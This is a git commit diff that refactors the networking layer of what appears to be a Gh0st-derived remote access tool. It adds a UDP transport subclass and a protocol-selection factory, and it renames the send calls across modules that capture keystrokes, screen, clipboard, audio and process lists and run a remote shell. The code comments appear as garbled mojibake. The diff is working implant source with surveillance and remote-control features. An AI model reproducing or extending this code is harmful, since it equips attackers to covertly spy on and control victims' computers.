layout: Reorganize TCP client/server code
This commit is contained in:
@@ -25,7 +25,7 @@ CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManag
|
||||
}
|
||||
|
||||
BYTE bToken = TOKEN_AUDIO_START;
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||
|
||||
WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
szPacket = NULL;
|
||||
@@ -84,7 +84,7 @@ BOOL CAudioManager::SendRecordBuffer()
|
||||
//<2F><><EFBFBD>ͳ<EFBFBD>ȥ
|
||||
if (dwBufferSize > 0)
|
||||
{
|
||||
dwReturn = m_ClientObject->OnServerSending((char*)szPacket, dwBufferSize + 1);
|
||||
dwReturn = m_ClientObject->Send2Server((char*)szPacket, dwBufferSize + 1);
|
||||
}
|
||||
return dwReturn;
|
||||
}
|
||||
|
||||
@@ -11,7 +11,10 @@
|
||||
#define CLIENT_PARALLEL_NUM 1
|
||||
|
||||
// Զ<>̵<EFBFBD>ַ
|
||||
CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION};
|
||||
CONNECT_ADDRESS g_SETTINGS = {
|
||||
FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION,
|
||||
FALSE, Startup_DLL, NULL, PROTO_TCP, RUNNING_RANDOM,
|
||||
};
|
||||
|
||||
// <20><><EFBFBD>տͻ<D5BF><CDBB><EFBFBD>ֻ<EFBFBD><D6BB>2<EFBFBD><32>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_SETTINGS<47><53>g_MyApp<70><70><EFBFBD><EFBFBD>g_SETTINGS<47><53>Ϊg_MyApp<70>ij<EFBFBD>Ա.
|
||||
// <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֻ<EFBFBD><D6BB>һ<EFBFBD><D2BB>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_MyApp
|
||||
@@ -480,7 +483,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
settings.SetServer(list[0].c_str(), settings.ServerPort());
|
||||
}
|
||||
State& bExit(app.g_bExit);
|
||||
IOCPClient *ClientObject = new IOCPClient(bExit);
|
||||
IOCPClient *ClientObject = NewNetClient(&settings, bExit);
|
||||
CKernelManager* Manager = nullptr;
|
||||
|
||||
if (!app.m_bShared) {
|
||||
|
||||
@@ -170,6 +170,7 @@
|
||||
<ClCompile Include="Common.cpp" />
|
||||
<ClCompile Include="FileManager.cpp" />
|
||||
<ClCompile Include="IOCPClient.cpp" />
|
||||
<ClCompile Include="IOCPUDPClient.cpp" />
|
||||
<ClCompile Include="KernelManager.cpp" />
|
||||
<ClCompile Include="KeyboardManager.cpp" />
|
||||
<ClCompile Include="keylogger.cpp" />
|
||||
@@ -200,6 +201,7 @@
|
||||
<ClInclude Include="CursorInfo.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
<ClInclude Include="IOCPClient.h" />
|
||||
<ClInclude Include="IOCPUDPClient.h" />
|
||||
<ClInclude Include="KernelManager.h" />
|
||||
<ClInclude Include="KeyboardManager.h" />
|
||||
<ClInclude Include="keylogger.h" />
|
||||
|
||||
@@ -98,6 +98,7 @@ VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess)
|
||||
|
||||
IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect) : g_bExit(bExit)
|
||||
{
|
||||
m_ServerAddr = {};
|
||||
m_nHostPort = 0;
|
||||
m_Manager = NULL;
|
||||
#ifdef _WIN32
|
||||
@@ -126,12 +127,7 @@ IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect) : g_bExit(bExit)
|
||||
IOCPClient::~IOCPClient()
|
||||
{
|
||||
m_bIsRunning = FALSE;
|
||||
|
||||
if (m_sClientSocket!=INVALID_SOCKET)
|
||||
{
|
||||
closesocket(m_sClientSocket);
|
||||
m_sClientSocket = INVALID_SOCKET;
|
||||
}
|
||||
Disconnect();
|
||||
|
||||
if (m_hWorkThread!=NULL)
|
||||
{
|
||||
@@ -210,13 +206,11 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
}
|
||||
|
||||
#ifdef _WIN32
|
||||
//<2F><><EFBFBD><EFBFBD>sockaddr_in<69>ṹ Ҳ<><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˵Ľṹ
|
||||
sockaddr_in ServerAddr;
|
||||
ServerAddr.sin_family = AF_INET; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP
|
||||
ServerAddr.sin_port = htons(port);
|
||||
ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str());
|
||||
m_ServerAddr.sin_family = AF_INET;
|
||||
m_ServerAddr.sin_port = htons(port);
|
||||
m_ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str());
|
||||
|
||||
if (connect(m_sClientSocket,(SOCKADDR *)&ServerAddr,sizeof(sockaddr_in)) == SOCKET_ERROR)
|
||||
if (connect(m_sClientSocket,(SOCKADDR *)&m_ServerAddr,sizeof(sockaddr_in)) == SOCKET_ERROR)
|
||||
{
|
||||
if (m_sClientSocket!=INVALID_SOCKET)
|
||||
{
|
||||
@@ -226,12 +220,11 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
return FALSE;
|
||||
}
|
||||
#else
|
||||
sockaddr_in ServerAddr = {};
|
||||
ServerAddr.sin_family = AF_INET; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP
|
||||
ServerAddr.sin_port = htons(port);
|
||||
m_ServerAddr.sin_family = AF_INET;
|
||||
m_ServerAddr.sin_port = htons(port);
|
||||
// <20><>szServerIP<49><50><EFBFBD><EFBFBD><EFBFBD>ֿ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IPת<50><D7AA>
|
||||
// ʹ<><CAB9> inet_pton <20><><EFBFBD><EFBFBD> inet_addr (inet_pton <20><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7> IPv4 <20><> IPv6)
|
||||
if (inet_pton(AF_INET, m_sCurIP.c_str(), &ServerAddr.sin_addr) <= 0) {
|
||||
if (inet_pton(AF_INET, m_sCurIP.c_str(), &m_ServerAddr.sin_addr) <= 0) {
|
||||
Mprintf("Invalid address or address not supported\n");
|
||||
return false;
|
||||
}
|
||||
@@ -244,7 +237,7 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
}
|
||||
|
||||
// <20><><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (connect(m_sClientSocket, (struct sockaddr*)&ServerAddr, sizeof(ServerAddr)) == -1) {
|
||||
if (connect(m_sClientSocket, (struct sockaddr*)&m_ServerAddr, sizeof(m_ServerAddr)) == -1) {
|
||||
Mprintf("Connection failed\n");
|
||||
close(m_sClientSocket);
|
||||
m_sClientSocket = -1; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD>Ч
|
||||
@@ -320,7 +313,7 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
||||
}
|
||||
else if (iRet > 0)
|
||||
{
|
||||
int iReceivedLength = recv(This->m_sClientSocket, szBuffer, MAX_RECV_BUFFER-1, 0);
|
||||
int iReceivedLength = This->ReceiveData(szBuffer, MAX_RECV_BUFFER-1, 0);
|
||||
if (iReceivedLength <= 0)
|
||||
{
|
||||
int a = WSAGetLastError();
|
||||
@@ -496,7 +489,7 @@ BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSpl
|
||||
int j = 0;
|
||||
for (; j < ulSendRetry; ++j)
|
||||
{
|
||||
iReturn = send(m_sClientSocket, Travel, ulSplitLength, 0);
|
||||
iReturn = SendTo(Travel, ulSplitLength, 0);
|
||||
if (iReturn > 0)
|
||||
{
|
||||
break;
|
||||
@@ -516,7 +509,7 @@ BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSpl
|
||||
int j = 0;
|
||||
for (; j < ulSendRetry; j++)
|
||||
{
|
||||
iReturn = send(m_sClientSocket, (char*)Travel,i,0);
|
||||
iReturn = SendTo((char*)Travel,i,0);
|
||||
|
||||
if (iReturn > 0)
|
||||
{
|
||||
|
||||
@@ -2,12 +2,7 @@
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_)
|
||||
#define AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#ifdef _WIN32
|
||||
#include "stdafx.h"
|
||||
@@ -64,28 +59,18 @@ class IOCPClient
|
||||
public:
|
||||
IOCPClient(State& bExit, bool exit_while_disconnect = false);
|
||||
virtual ~IOCPClient();
|
||||
SOCKET m_sClientSocket;
|
||||
CBuffer m_CompressedBuffer;
|
||||
BOOL m_bWorkThread;
|
||||
HANDLE m_hWorkThread;
|
||||
#if USING_CTX
|
||||
ZSTD_CCtx* m_Cctx; // ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
ZSTD_DCtx* m_Dctx; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
#endif
|
||||
|
||||
int SendLoginInfo(const LOGIN_INFOR& logInfo) {
|
||||
LOGIN_INFOR tmp = logInfo;
|
||||
int iRet = Send2Server((char*)&tmp, sizeof(LOGIN_INFOR));
|
||||
|
||||
return iRet;
|
||||
}
|
||||
BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
|
||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||
virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
|
||||
|
||||
BOOL Send2Server(const char* szBuffer, ULONG ulOriginalLength) {
|
||||
return OnServerSending(szBuffer, ulOriginalLength);
|
||||
}
|
||||
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
|
||||
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
|
||||
BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
|
||||
|
||||
void SetServerAddress(const char* szServerIP, unsigned short uPort) {
|
||||
m_Domain = szServerIP ? szServerIP : "127.0.0.1";
|
||||
@@ -101,14 +86,8 @@ public:
|
||||
m_bIsRunning = FALSE;
|
||||
}
|
||||
|
||||
BOOL m_bIsRunning;
|
||||
BOOL m_bConnected;
|
||||
|
||||
char m_szPacketFlag[FLAG_LENGTH + 3];
|
||||
|
||||
VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess);
|
||||
|
||||
VOID Disconnect();
|
||||
VOID RunEventLoop(const BOOL &bCondition);
|
||||
bool IsConnected() const { return m_bConnected == TRUE; }
|
||||
BOOL Reconnect(void* manager) {
|
||||
@@ -116,14 +95,43 @@ public:
|
||||
if (manager) m_Manager = manager;
|
||||
return ConnectServer(NULL, 0);
|
||||
}
|
||||
public:
|
||||
State& g_bExit; // ȫ<><C8AB>״̬<D7B4><CCAC>
|
||||
void* m_Manager; // <20>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
DataProcessCB m_DataProcess; // <20><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
DomainPool m_Domain;
|
||||
std::string m_sCurIP;
|
||||
int m_nHostPort;
|
||||
bool m_exit_while_disconnect;
|
||||
};
|
||||
State& GetState() {
|
||||
return g_bExit;
|
||||
}
|
||||
protected:
|
||||
virtual int ReceiveData(char* buffer, int bufSize, int flags) {
|
||||
// TCP<43>汾<EFBFBD><E6B1BE><EFBFBD><EFBFBD> recv
|
||||
return recv(m_sClientSocket, buffer, bufSize - 1, 0);
|
||||
}
|
||||
virtual VOID Disconnect(); // <20><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7> TCP/UDP
|
||||
virtual int SendTo(const char* buf, int len, int flags) {
|
||||
return ::send(m_sClientSocket, buf, len, flags);
|
||||
}
|
||||
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
|
||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
|
||||
BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
|
||||
|
||||
#endif // !defined(AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_)
|
||||
protected:
|
||||
sockaddr_in m_ServerAddr;
|
||||
char m_szPacketFlag[FLAG_LENGTH + 3];
|
||||
SOCKET m_sClientSocket;
|
||||
CBuffer m_CompressedBuffer;
|
||||
BOOL m_bWorkThread;
|
||||
HANDLE m_hWorkThread;
|
||||
BOOL m_bIsRunning;
|
||||
BOOL m_bConnected;
|
||||
|
||||
#if USING_CTX
|
||||
ZSTD_CCtx* m_Cctx; // ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
ZSTD_DCtx* m_Dctx; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
#endif
|
||||
|
||||
State& g_bExit; // ȫ<><C8AB>״̬<D7B4><CCAC>
|
||||
void* m_Manager; // <20>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
DataProcessCB m_DataProcess; // <20><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
DomainPool m_Domain;
|
||||
std::string m_sCurIP;
|
||||
int m_nHostPort;
|
||||
bool m_exit_while_disconnect;
|
||||
};
|
||||
|
||||
60
client/IOCPUDPClient.cpp
Normal file
60
client/IOCPUDPClient.cpp
Normal file
@@ -0,0 +1,60 @@
|
||||
#include "IOCPUDPClient.h"
|
||||
|
||||
|
||||
BOOL IOCPUDPClient::ConnectServer(const char* szServerIP, unsigned short uPort) {
|
||||
if (szServerIP != NULL && uPort != 0) {
|
||||
SetServerAddress(szServerIP, uPort);
|
||||
}
|
||||
m_sCurIP = m_Domain.SelectIP();
|
||||
unsigned short port = m_nHostPort;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD> UDP socket
|
||||
m_sClientSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
||||
if (m_sClientSocket == INVALID_SOCKET) {
|
||||
Mprintf("Failed to create UDP socket\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD>ṹ
|
||||
memset(&m_ServerAddr, 0, sizeof(m_ServerAddr));
|
||||
m_ServerAddr.sin_family = AF_INET;
|
||||
m_ServerAddr.sin_port = htons(port);
|
||||
|
||||
#ifdef _WIN32
|
||||
m_ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str());
|
||||
#else
|
||||
if (inet_pton(AF_INET, m_sCurIP.c_str(), &m_ServerAddr.sin_addr) <= 0) {
|
||||
Mprintf("Invalid address or address not supported\n");
|
||||
closesocket(m_sClientSocket);
|
||||
m_sClientSocket = INVALID_SOCKET;
|
||||
return FALSE;
|
||||
}
|
||||
#endif
|
||||
|
||||
// UDP<44><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD> connect()<29><>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD> TCP keep-alive <20><><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>
|
||||
if (m_hWorkThread == NULL) {
|
||||
#ifdef _WIN32
|
||||
m_hWorkThread = (HANDLE)CreateThread(NULL, 0, WorkThreadProc, (LPVOID)this, 0, NULL);
|
||||
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
|
||||
#else
|
||||
pthread_t id = 0;
|
||||
m_hWorkThread = (HANDLE)pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this);
|
||||
#endif
|
||||
}
|
||||
|
||||
Mprintf("UDP client socket created and ready to send.\n");
|
||||
m_bConnected = TRUE;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
int IOCPUDPClient::ReceiveData(char* buffer, int bufSize, int flags) {
|
||||
sockaddr_in fromAddr;
|
||||
int fromLen = sizeof(fromAddr);
|
||||
return recvfrom(m_sClientSocket, buffer, bufSize - 1, flags, (sockaddr*)&fromAddr, &fromLen);
|
||||
}
|
||||
|
||||
int IOCPUDPClient::SendTo(const char* buf, int len, int flags) {
|
||||
return ::sendto(m_sClientSocket, buf, len, flags, (sockaddr*)&m_ServerAddr, sizeof(m_ServerAddr));
|
||||
}
|
||||
16
client/IOCPUDPClient.h
Normal file
16
client/IOCPUDPClient.h
Normal file
@@ -0,0 +1,16 @@
|
||||
#pragma once
|
||||
#include "IOCPClient.h"
|
||||
|
||||
class IOCPUDPClient : public IOCPClient
|
||||
{
|
||||
public:
|
||||
IOCPUDPClient(State& bExit, bool exit_while_disconnect = false):IOCPClient(bExit, exit_while_disconnect){}
|
||||
|
||||
virtual ~IOCPUDPClient(){}
|
||||
|
||||
virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort) override;
|
||||
|
||||
virtual int ReceiveData(char* buffer, int bufSize, int flags) override;
|
||||
|
||||
virtual int SendTo(const char* buf, int len, int flags) override;
|
||||
};
|
||||
@@ -13,11 +13,22 @@
|
||||
#include "common/dllRunner.h"
|
||||
#include "server/2015Remote/pwd_gen.h"
|
||||
#include <common/iniFile.h>
|
||||
#include "IOCPUDPClient.h"
|
||||
|
||||
// UDP Э<><D0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect) {
|
||||
if (conn->protoType == PROTO_TCP)
|
||||
return new IOCPClient(bExit, exit_while_disconnect);
|
||||
if (conn->protoType == PROTO_UDP)
|
||||
return new IOCPUDPClient(bExit, exit_while_disconnect);
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit) {
|
||||
static ThreadInfo tKeyboard;
|
||||
tKeyboard.run = FOREVER_RUN;
|
||||
tKeyboard.p = new IOCPClient(bExit, false);
|
||||
tKeyboard.p = NewNetClient(conn, bExit, false);
|
||||
tKeyboard.conn = conn;
|
||||
tKeyboard.h = (HANDLE)CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL);
|
||||
return &tKeyboard;
|
||||
@@ -350,7 +361,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
case COMMAND_BYE:
|
||||
{
|
||||
BYTE bToken = COMMAND_BYE;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||
g_bExit = S_CLIENT_EXIT;
|
||||
Mprintf("======> Client exit \n");
|
||||
break;
|
||||
@@ -359,7 +370,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
case SERVER_EXIT:
|
||||
{
|
||||
BYTE bToken = SERVER_EXIT;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||
g_bExit = S_SERVER_EXIT;
|
||||
Mprintf("======> Server exit \n");
|
||||
break;
|
||||
|
||||
@@ -20,6 +20,9 @@
|
||||
#include <TlHelp32.h>
|
||||
#include "LoginServer.h"
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>þ<EFBFBD><C3BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʲôͨѶЭ<D1B6><D0AD>
|
||||
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect = false);
|
||||
|
||||
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit);
|
||||
|
||||
class ActivityWindow {
|
||||
|
||||
@@ -156,7 +156,7 @@ HDESK SelectDesktop(TCHAR* name)
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->g_bExit)
|
||||
CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->GetState())
|
||||
{
|
||||
m_bReady = TRUE;
|
||||
m_ClientObject = ClientObject;
|
||||
@@ -180,7 +180,7 @@ int CManager::Send(LPBYTE lpData, UINT nSize)
|
||||
int nRet = 0;
|
||||
try
|
||||
{
|
||||
nRet = m_ClientObject->OnServerSending((char*)lpData, nSize);
|
||||
nRet = m_ClientObject->Send2Server((char*)lpData, nSize);
|
||||
}catch(...){
|
||||
Mprintf("[ERROR] CManager::Send catch an error \n");
|
||||
};
|
||||
|
||||
@@ -13,7 +13,7 @@
|
||||
CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
BYTE bToken=TOKEN_REGEDIT;
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||
}
|
||||
|
||||
CRegisterManager::~CRegisterManager()
|
||||
@@ -47,7 +47,7 @@ VOID CRegisterManager::Find(char bToken, char *szPath)
|
||||
char *szBuffer= Opt.FindPath();
|
||||
if(szBuffer!=NULL)
|
||||
{
|
||||
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
|
||||
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
||||
//Ŀ¼<C4BF>µ<EFBFBD>Ŀ¼
|
||||
LocalFree(szBuffer);
|
||||
}
|
||||
@@ -55,7 +55,7 @@ VOID CRegisterManager::Find(char bToken, char *szPath)
|
||||
if(szBuffer!=NULL)
|
||||
{
|
||||
//Ŀ¼<C4BF>µ<EFBFBD><C2B5>ļ<EFBFBD>
|
||||
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
|
||||
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
||||
LocalFree(szBuffer);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -263,7 +263,7 @@ VOID CScreenManager::SendBitMapInfo()
|
||||
szBuffer[0] = TOKEN_BITMAPINFO;
|
||||
//<2F><><EFBFBD>ォbmpλͼ<CEBB>ṹ<EFBFBD><E1B9B9><EFBFBD>ͳ<EFBFBD>ȥ
|
||||
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
|
||||
m_ClientObject->OnServerSending((char*)szBuffer, ulLength);
|
||||
m_ClientObject->Send2Server((char*)szBuffer, ulLength);
|
||||
VirtualFree(szBuffer, 0, MEM_RELEASE);
|
||||
}
|
||||
|
||||
@@ -360,7 +360,7 @@ VOID CScreenManager::SendClientClipboard()
|
||||
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
|
||||
::GlobalUnlock(hGlobal);
|
||||
::CloseClipboard();
|
||||
m_ClientObject->OnServerSending((char*)szBuffer, iPacketLength);
|
||||
m_ClientObject->Send2Server((char*)szBuffer, iPacketLength);
|
||||
delete[] szBuffer;
|
||||
}
|
||||
|
||||
@@ -374,7 +374,7 @@ VOID CScreenManager::SendFirstScreen()
|
||||
return;
|
||||
}
|
||||
|
||||
m_ClientObject->OnServerSending((char*)FirstScreenData, ulFirstSendLength + 1);
|
||||
m_ClientObject->Send2Server((char*)FirstScreenData, ulFirstSendLength + 1);
|
||||
}
|
||||
|
||||
const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
|
||||
@@ -391,7 +391,7 @@ const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
|
||||
|
||||
VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength)
|
||||
{
|
||||
m_ClientObject->OnServerSending(szBuffer, ulNextSendLength);
|
||||
m_ClientObject->Send2Server(szBuffer, ulNextSendLength);
|
||||
}
|
||||
|
||||
std::string GetTitle(HWND hWnd) {
|
||||
|
||||
@@ -26,7 +26,7 @@ VOID CServicesManager::SendServicesList()
|
||||
if (szBuffer == NULL)
|
||||
return;
|
||||
|
||||
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
|
||||
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
||||
LocalFree(szBuffer);
|
||||
}
|
||||
|
||||
|
||||
@@ -97,7 +97,7 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag
|
||||
m_hShellThreadHandle = pi.hThread;
|
||||
|
||||
BYTE bToken = TOKEN_SHELL_START; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||
|
||||
WaitForDialogOpen();
|
||||
|
||||
@@ -131,7 +131,7 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
|
||||
const char *pStart = (char*)szTotalBuffer + This->m_nCmdLength;
|
||||
int length = int(dwReturn) - This->m_nCmdLength;
|
||||
if (length > 0)
|
||||
This->m_ClientObject->OnServerSending(pStart, length);
|
||||
This->m_ClientObject->Send2Server(pStart, length);
|
||||
|
||||
LocalFree(szTotalBuffer);
|
||||
}
|
||||
|
||||
@@ -39,7 +39,7 @@ VOID CSystemManager::SendProcessList()
|
||||
LPBYTE szBuffer = GetProcessList(); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (szBuffer == NULL)
|
||||
return;
|
||||
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
|
||||
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
||||
LocalFree(szBuffer);
|
||||
|
||||
szBuffer = NULL;
|
||||
@@ -51,7 +51,7 @@ void CSystemManager::SendWindowsList()
|
||||
if (szBuffer == NULL)
|
||||
return;
|
||||
|
||||
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer)); //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7>͵õ<CDB5><C3B5>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer)); //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7>͵õ<CDB5><C3B5>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>
|
||||
LocalFree(szBuffer);
|
||||
}
|
||||
|
||||
|
||||
@@ -27,7 +27,7 @@ CTalkManager::CTalkManager(IOCPClient* ClientObject, int n, void* user):CManager
|
||||
g_Event = 0;
|
||||
memset(g_Buffer, 0, sizeof(g_Buffer));
|
||||
BYTE bToken = TOKEN_TALK_START;
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||
WaitForDialogOpen();
|
||||
Mprintf("Talk <20><><EFBFBD><EFBFBD>\n");
|
||||
}
|
||||
@@ -86,7 +86,7 @@ INT_PTR CALLBACK CTalkManager::DialogProc(HWND hDlg, UINT uMsg,
|
||||
{
|
||||
KillTimer(hDlg, ID_TIMER_CLOSE_WINDOW);
|
||||
BYTE bToken = TOKEN_TALKCMPLT;
|
||||
if (This) This->m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
